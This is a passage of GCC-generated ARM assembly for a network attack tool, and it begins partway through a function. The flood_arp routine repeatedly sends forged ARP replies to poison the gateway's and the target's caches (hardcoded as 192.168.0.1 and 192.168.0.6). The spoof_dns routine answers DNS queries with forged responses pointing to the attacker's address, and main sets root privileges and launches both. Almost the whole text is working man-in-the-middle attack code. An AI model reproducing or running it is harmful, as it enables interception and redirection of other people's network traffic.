	strh	r2, [r3]	@ movhi
	mov	r0, #2048
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-88]
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, [fp, #-88]
	mov	r2, #6
	strb	r2, [r3, #4]
	ldr	r3, [fp, #-88]
	mov	r2, #4
	strb	r2, [r3, #5]
	mov	r0, #2
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-88]
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-88]
	add	r3, r3, #8
	ldr	r2, .L47+4
	mov	r0, r3
	mov	r1, r2
	mov	r3, #6
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-88]
	add	r0, r3, #14
	ldr	r2, [fp, #-108]
	ldr	r3, .L47+12
	ldr	r3, [r3]
	cmp	r2, r3
	bne	.L43
	ldr	r3, .L47+16
	b	.L44
.L43:
	ldr	r3, .L47+12
.L44:
	mov	r2, #4
	mov	r1, r3
	bl	memcpy
	ldr	r3, [fp, #-88]
	add	r3, r3, #18
	mov	r2, #6
	ldr	r1, [fp, #-96]
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-88]
	add	r3, r3, #24
	sub	r1, fp, #108
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #84
	mov	r2, #0
	str	r2, [r3]
	str	r2, [r3, #4]
	str	r2, [r3, #8]
	str	r2, [r3, #12]
	str	r2, [r3, #16]
	mov	r3, #17
	strh	r3, [fp, #-84]	@ movhi
	ldr	r3, .L47+20
	ldr	r3, [r3]
	str	r3, [fp, #-80]
	mov	r3, #6
	strb	r3, [fp, #-73]
	ldr	r0, .L47+8
	bl	htons
	mov	r3, r0
	strh	r3, [fp, #-82]	@ movhi
	sub	r3, fp, #84
	add	r3, r3, #12
	mov	r2, #6
	ldr	r1, [fp, #-96]
	mov	r0, r3
	bl	memcpy
.L45:
	sub	r1, fp, #64
	mov	r3, #20
	str	r3, [sp, #4]
	sub	r3, fp, #84
	str	r3, [sp]
	mov	r3, #0
	mov	r2, #42
	ldr	r0, [fp, #-100]
	bl	sendto
	mov	r0, #1
	bl	sleep
	b	.L45
.L48:
	.align	2
.L47:
	.word	.LC19
	.word	local_mac
	.word	2054
	.word	gateway_ip
	.word	target_ip
	.word	local_interface_index
	.size	flood_arp, .-flood_arp
	.section	.rodata
	.align	2
.LC20:
	.ascii	"Spoofed dns response\000"
	.align	2
.LC21:
	.ascii	"dns read\000"
	.align	2
.LC22:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	spoof_dns
	.syntax unified
	.arm
	.fpu softvfp
	.type	spoof_dns, %function
spoof_dns:
	@ args = 0, pretend = 0, frame = 1104
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #1104
	sub	sp, sp, #8
	str	r0, [fp, #-1104]
	ldr	r3, .L60
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	str	r3, [fp, #-1088]
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	add	r3, r3, #14
	str	r3, [fp, #-1084]
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	add	r3, r3, #34
	str	r3, [fp, #-1080]
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	add	r3, r3, #42
	str	r3, [fp, #-1076]
	sub	r3, fp, #520
	str	r3, [fp, #-1072]
	sub	r3, fp, #520
	add	r3, r3, #14
	str	r3, [fp, #-1068]
	sub	r3, fp, #520
	add	r3, r3, #34
	str	r3, [fp, #-1064]
	sub	r3, fp, #520
	add	r3, r3, #42
	str	r3, [fp, #-1060]
	sub	r3, fp, #1024
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r2, #512
	mov	r1, #0
	mov	r0, r3
	bl	memset
	mov	r0, #2048
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1088]
	and	r1, r2, #255
	mov	r0, #0
	orr	r1, r0, r1
	strb	r1, [r3, #12]
	lsr	r2, r2, #8
	lsl	r2, r2, #16
	lsr	r2, r2, #16
	mov	r1, #0
	orr	r2, r1, r2
	strb	r2, [r3, #13]
	ldr	r3, [fp, #-1088]
	add	r3, r3, #6
	ldr	r2, .L60+4
	mov	r0, r3
	mov	r1, r2
	mov	r3, #6
	mov	r2, r3
	bl	memcpy
	ldr	r2, [fp, #-1084]
	ldrb	r3, [r2]
	bic	r3, r3, #176
	orr	r3, r3, #64
	strb	r3, [r2]
	ldr	r2, [fp, #-1084]
	ldrb	r3, [r2]
	bic	r3, r3, #10
	orr	r3, r3, #5
	strb	r3, [r2]
	ldr	r3, [fp, #-1084]
	mov	r2, #17
	strb	r2, [r3, #9]
	ldr	r3, [fp, #-1084]
	mov	r2, #0
	strb	r2, [r3, #1]
	mov	r0, #16384
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1084]
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-1076]
	add	r3, r3, #2
	mvn	r2, #126
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #3
	mvn	r2, #127
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #4
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #5
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #6
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #7
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1076]
	add	r3, r3, #8
	mov	r2, #4
	mov	r1, #0
	mov	r0, r3
	bl	memset
	b	.L50
.L56:
	ldr	r3, [fp, #-1064]
	ldrh	r3, [r3]
	mov	r0, r3
	bl	ntohs
	mov	r3, r0
	cmp	r3, #53
	bne	.L51
	b	.L50
.L51:
	ldr	r0, [fp, #-1088]
	ldr	r3, [fp, #-1072]
	add	r3, r3, #6
	mov	r2, #6
	mov	r1, r3
	bl	memcpy
	ldr	r3, [fp, #-1068]
	ldr	r2, [r3, #16]
	ldr	r3, [fp, #-1084]
	str	r2, [r3, #12]
	ldr	r3, [fp, #-1068]
	ldr	r2, [r3, #12]
	ldr	r3, [fp, #-1084]
	str	r2, [r3, #16]
	ldr	r3, [fp, #-1068]
	ldrh	r3, [r3, #4]
	mov	r0, r3
	bl	ntohs
	mov	r3, r0
	add	r3, r3, #1
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1084]
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, [fp, #-1068]
	ldrb	r2, [r3, #8]	@ zero_extendqisi2
	ldr	r3, [fp, #-1084]
	strb	r2, [r3, #8]
	ldr	r3, [fp, #-1064]
	ldrh	r2, [r3, #2]
	ldr	r3, [fp, #-1080]
	strh	r2, [r3]	@ movhi
	ldr	r3, [fp, #-1064]
	ldrh	r2, [r3]
	ldr	r3, [fp, #-1080]
	strh	r2, [r3, #2]	@ movhi
	mov	r2, #2
	ldr	r1, [fp, #-1060]
	ldr	r0, [fp, #-1076]
	bl	memcpy
	mov	r3, #0
	str	r3, [fp, #-1096]
	mov	r3, #0
	str	r3, [fp, #-1092]
	b	.L52
.L53:
	ldr	r3, [fp, #-1096]
	add	r2, r3, #12
	ldr	r3, [fp, #-1092]
	add	r1, r3, #1
	str	r1, [fp, #-1092]
	add	r3, r2, r3
	mov	r2, r3
	ldr	r3, [fp, #-1060]
	add	r3, r3, r2
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, [fp, #-1096]
	add	r3, r3, r2
	str	r3, [fp, #-1096]
.L52:
	ldr	r3, [fp, #-1096]
	add	r2, r3, #12
	ldr	r3, [fp, #-1092]
	add	r3, r2, r3
	mov	r2, r3
	ldr	r3, [fp, #-1060]
	add	r3, r3, r2
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #0
	bne	.L53
	ldr	r2, [fp, #-1096]
	ldr	r3, [fp, #-1092]
	add	r3, r2, r3
	str	r3, [fp, #-1096]
	ldr	r3, [fp, #-1076]
	add	r0, r3, #12
	ldr	r3, [fp, #-1060]
	add	r3, r3, #12
	ldr	r2, [fp, #-1096]
	mov	r1, r3
	bl	memcpy
	ldr	r3, [fp, #-1096]
	add	r3, r3, #12
	mov	r2, r3
	ldr	r3, [fp, #-1076]
	add	r3, r3, r2
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #13
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #15
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #16
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #17
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mvn	r2, #63
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #18
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #12
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #19
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #21
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #22
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #23
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #24
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #25
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #28
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #26
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #32
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #27
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #14
	ldr	r2, [fp, #-1060]
	add	r3, r2, r3
	ldrb	r3, [r3]	@ zero_extendqisi2
	cmp	r3, #28
	bne	.L54
	ldr	r3, [fp, #-1096]
	add	r3, r3, #14
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #28
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #20
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #28
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #28
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #16
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #29
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	ldr	r2, .L60+8
	mov	r0, r3
	mov	r1, r2
	mov	r3, #16
	mov	r2, r3
	bl	memcpy
	ldr	r3, [fp, #-1096]
	add	r3, r3, #45
	str	r3, [fp, #-1100]
	b	.L55
.L54:
	ldr	r3, [fp, #-1096]
	add	r3, r3, #14
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #20
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #1
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #28
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #4
	strb	r2, [r3]
	ldr	r3, [fp, #-1096]
	add	r3, r3, #29
	ldr	r2, [fp, #-1076]
	add	r3, r2, r3
	mov	r2, #4
	ldr	r1, .L60+12
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-1096]
	add	r3, r3, #33
	str	r3, [fp, #-1100]
.L55:
	ldr	r3, [fp, #-1100]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #28
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1084]
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, [fp, #-1084]
	mov	r2, #0
	strh	r2, [r3, #10]	@ movhi
	mov	r1, #20
	ldr	r0, [fp, #-1084]
	bl	csum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1084]
	strh	r2, [r3, #10]	@ movhi
	ldr	r3, [fp, #-1100]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	add	r3, r3, #8
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1080]
	strh	r2, [r3, #4]	@ movhi
	ldr	r3, [fp, #-1080]
	mov	r2, #0
	strh	r2, [r3, #6]	@ movhi
	ldr	r3, [fp, #-1080]
	ldrh	r3, [r3, #4]
	mov	r0, r3
	bl	ntohs
	mov	r3, r0
	mov	r1, r3
	ldr	r0, [fp, #-1084]
	bl	check_udp_sum
	mov	r3, r0
	mov	r2, r3
	ldr	r3, [fp, #-1080]
	strh	r2, [r3, #6]	@ movhi
	sub	r3, fp, #1040
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r2, #0
	str	r2, [r3]
	str	r2, [r3, #4]
	str	r2, [r3, #8]
	str	r2, [r3, #12]
	str	r2, [r3, #16]
	sub	r3, fp, #4
	sub	r3, r3, #1040
	sub	r3, r3, #8
	mov	r2, #17
	strh	r2, [r3]	@ movhi
	ldr	r3, .L60+16
	ldr	r3, [r3]
	str	r3, [fp, #-1048]
	mov	r3, #6
	strb	r3, [fp, #-1041]
	mov	r0, #2048
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #4
	sub	r3, r3, #1040
	sub	r3, r3, #8
	strh	r2, [r3, #2]	@ movhi
	ldr	r3, [fp, #-1084]
	add	r1, r3, #16
	sub	r3, fp, #1040
	sub	r3, r3, #4
	sub	r3, r3, #8
	add	r3, r3, #12
	mov	r2, #6
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-1100]
	add	r2, r3, #42
	sub	r1, fp, #1024
	sub	r1, r1, #4
	sub	r1, r1, #4
	mov	r3, #20
	str	r3, [sp, #4]
	sub	r3, fp, #1040
	sub	r3, r3, #4
	sub	r3, r3, #8
	str	r3, [sp]
	mov	r3, #0
	ldr	r0, [fp, #-1104]
	bl	sendto
	ldr	r0, .L60+20
	bl	puts
.L50:
	sub	r3, fp, #520
	mov	r2, #512
	mov	r1, r3
	ldr	r0, [fp, #-1104]
	bl	read
	str	r0, [fp, #-1056]
	ldr	r3, [fp, #-1056]
	cmp	r3, #0
	bgt	.L56
	ldr	r3, [fp, #-1056]
	cmn	r3, #1
	bne	.L59
	ldr	r0, .L60+24
	bl	perror
	mov	r0, #1
	bl	exit
.L59:
	nop
	ldr	r3, .L60
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L58
	bl	__stack_chk_fail
.L58:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L61:
	.align	2
.L60:
	.word	.LC22
	.word	gateway_mac
	.word	local_ip_6
	.word	local_ip
	.word	local_interface_index
	.word	.LC20
	.word	.LC21
	.size	spoof_dns, .-spoof_dns
	.section	.rodata
	.align	2
.LC23:
	.ascii	"setuid\000"
	.align	2
.LC24:
	.ascii	"setgid\000"
	.align	2
.LC25:
	.ascii	"192.168.0.1\000"
	.align	2
.LC26:
	.ascii	"192.168.0.6\000"
	.align	2
.LC27:
	.ascii	"%08x\012\000"
	.align	2
.LC28:
	.ascii	"IP addresses are invalid\012\000"
	.align	2
.LC29:
	.ascii	"Initial gateway mac read\000"
	.align	2
.LC30:
	.ascii	"%02x %02x %02x %02x %02x %02x\012\000"
	.align	2
.LC31:
	.ascii	"packet filter\000"
	.align	2
.LC32:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 40
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #56
	ldr	r3, .L73
	ldr	r3, [r3]
	str	r3, [fp, #-8]
	mov	r3,#0
	mov	r0, #0
	bl	setuid
	mov	r3, r0
	cmp	r3, #0
	beq	.L63
	ldr	r0, .L73+4
	bl	perror
	mov	r0, #1
	bl	exit
.L63:
	mov	r0, #0
	bl	setgid
	mov	r3, r0
	cmp	r3, #0
	beq	.L64
	ldr	r0, .L73+8
	bl	perror
	mov	r0, #1
	bl	exit
.L64:
	mov	r2, #6
	mov	r1, #0
	ldr	r0, .L73+12
	bl	memset
	mov	r2, #6
	mov	r1, #0
	ldr	r0, .L73+16
	bl	memset
	ldr	r0, .L73+20
	bl	convert_ip_to_int
	mov	r3, r0
	ldr	r2, .L73+24
	str	r3, [r2]
	ldr	r0, .L73+28
	bl	convert_ip_to_int
	mov	r3, r0
	ldr	r2, .L73+32
	str	r3, [r2]
	bl	create_packet_socket
	str	r0, [fp, #-36]
	ldr	r0, [fp, #-36]
	bl	get_local_mac
	ldr	r3, .L73+24
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L73+36
	bl	printf
	ldr	r3, .L73+32
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L73+36
	bl	printf
	ldr	r3, .L73+24
	ldr	r3, [r3]
	cmp	r3, #0
	beq	.L65
	ldr	r3, .L73+32
	ldr	r3, [r3]
	cmp	r3, #0
	bne	.L66
.L65:
	ldr	r3, .L73+40
	ldr	r3, [r3]
	mov	r2, #25
	mov	r1, #1
	ldr	r0, .L73+44
	bl	fwrite
	mov	r0, #1
	bl	exit
.L66:
	ldr	r2, .L73+12
	ldr	r1, .L73+20
	ldr	r0, [fp, #-36]
	bl	get_mac_from_ip
	mov	r3, r0
	cmp	r3, #0
	beq	.L67
	ldr	r0, .L73+48
	bl	perror
	mov	r0, #1
	bl	exit
.L67:
	ldr	r3, .L73+12
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r0, r3
	ldr	r3, .L73+12
	ldrb	r3, [r3, #1]	@ zero_extendqisi2
	mov	ip, r3
	ldr	r3, .L73+12
	ldrb	r3, [r3, #2]	@ zero_extendqisi2
	mov	lr, r3
	ldr	r3, .L73+12
	ldrb	r3, [r3, #3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L73+12
	ldrb	r3, [r3, #4]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r3, .L73+12
	ldrb	r3, [r3, #5]	@ zero_extendqisi2
	str	r3, [sp, #8]
	str	r1, [sp, #4]
	str	r2, [sp]
	mov	r3, lr
	mov	r2, ip
	mov	r1, r0
	ldr	r0, .L73+52
	bl	printf
	ldr	r2, .L73+16
	ldr	r1, .L73+28
	ldr	r0, [fp, #-36]
	bl	get_mac_from_ip
	mov	r3, r0
	cmp	r3, #0
	beq	.L68
	ldr	r0, .L73+48
	bl	perror
	mov	r0, #1
	bl	exit
.L68:
	ldr	r3, .L73+16
	ldrb	r3, [r3]	@ zero_extendqisi2
	mov	r0, r3
	ldr	r3, .L73+16
	ldrb	r3, [r3, #1]	@ zero_extendqisi2
	mov	ip, r3
	ldr	r3, .L73+16
	ldrb	r3, [r3, #2]	@ zero_extendqisi2
	mov	lr, r3
	ldr	r3, .L73+16
	ldrb	r3, [r3, #3]	@ zero_extendqisi2
	mov	r2, r3
	ldr	r3, .L73+16
	ldrb	r3, [r3, #4]	@ zero_extendqisi2
	mov	r1, r3
	ldr	r3, .L73+16
	ldrb	r3, [r3, #5]	@ zero_extendqisi2
	str	r3, [sp, #8]
	str	r1, [sp, #4]
	str	r2, [sp]
	mov	r3, lr
	mov	r2, ip
	mov	r1, r0
	ldr	r0, .L73+52
	bl	printf
	ldr	r3, [fp, #-36]
	str	r3, [fp, #-32]
	ldr	r3, .L73+12
	str	r3, [fp, #-28]
	ldr	r3, .L73+24
	ldr	r3, [r3]
	str	r3, [fp, #-24]
	sub	r3, fp, #32
	sub	r0, fp, #44
	ldr	r2, .L73+56
	mov	r1, #0
	bl	pthread_create
	ldr	r3, [fp, #-36]
	str	r3, [fp, #-20]
	ldr	r3, .L73+16
	str	r3, [fp, #-16]
	ldr	r3, .L73+32
	ldr	r3, [r3]
	str	r3, [fp, #-12]
	sub	r3, fp, #20
	sub	r0, fp, #40
	ldr	r2, .L73+56
	mov	r1, #0
	bl	pthread_create
	mov	r3, #8
	str	r3, [sp]
	ldr	r3, .L73+60
	mov	r2, #26
	mov	r1, #1
	ldr	r0, [fp, #-36]
	bl	setsockopt
	mov	r3, r0
	cmp	r3, #0
	bge	.L69
	ldr	r0, .L73+64
	bl	perror
	b	.L70
.L69:
	ldr	r0, [fp, #-36]
	bl	spoof_dns
.L70:
	ldr	r3, [fp, #-44]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	ldr	r3, [fp, #-40]
	mov	r1, #0
	mov	r0, r3
	bl	pthread_join
	ldr	r0, [fp, #-36]
	bl	close
	mov	r3, #0
	ldr	r2, .L73
	ldr	r1, [r2]
	ldr	r2, [fp, #-8]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L72
	bl	__stack_chk_fail
.L72:
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L74:
	.align	2
.L73:
	.word	.LC32
	.word	.LC23
	.word	.LC24
	.word	gateway_mac
	.word	target_mac
	.word	.LC25
	.word	gateway_ip
	.word	.LC26
	.word	target_ip
	.word	.LC27
	.word	stderr
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	flood_arp
	.word	port_filter
	.word	.LC31
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
